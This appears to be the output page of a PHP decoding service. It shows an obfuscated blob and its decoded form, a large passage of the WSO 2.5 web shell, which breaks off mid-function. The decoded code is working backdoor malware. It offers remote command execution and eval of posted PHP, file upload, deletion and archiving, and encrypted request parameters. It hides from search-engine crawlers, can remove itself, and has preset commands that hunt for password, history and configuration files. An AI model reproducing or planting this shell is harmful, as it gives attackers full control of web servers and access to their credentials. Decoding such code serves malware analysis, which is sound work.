Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$o = "5X1td9s2z/Dn7Jz9B0bzKmuxHdtJu86OnXRpu/Ze1/Zq2mvbneTykWXZ1mJLniTnZW3++w2ALyIl2XHaPm/n..
Decoded Output download
$default_key = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
$s = 'WSOsetcookie';
$s(md5($_SERVER['HTTP_HOST'])."key", $default_key);
}
if(empty($_POST['charset']))
$_POST['charset'] = $default_charset;
if (!isset($_POST['ne'])) {
if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
}
function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
function wsoScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
wsoFooter();
}function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . "4re" ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Console'=>'Console','FilesMan'=>'FilesMan','StringTools'=>'StringTools');;
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
. ' <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . "Hidden" . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=ne value=''>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
} if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
} function wsoLogin() {
die("<pre align=center><form method=post >Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
} if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
} function actionFilesMan() {
if (!empty ($_COOKIE['f']))
$_COOKIE['f'] = @unserialize($_COOKIE['f']);
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach($_COOKIE['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_COOKIE['c'].$f))
$zip->addFile($_COOKIE['c'].$f, $f);
elseif(@is_dir($_COOKIE['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['f'] as $f) {
if($zip->open($_COOKIE['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
default:
if(!empty($_POST['p1'])) {
WSOsetcookie('act', $_POST['p1']);
WSOsetcookie('f', serialize(@$_POST['f']));
WSOsetcookie('c', @$_POST['c']);
}
break;
}
}
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
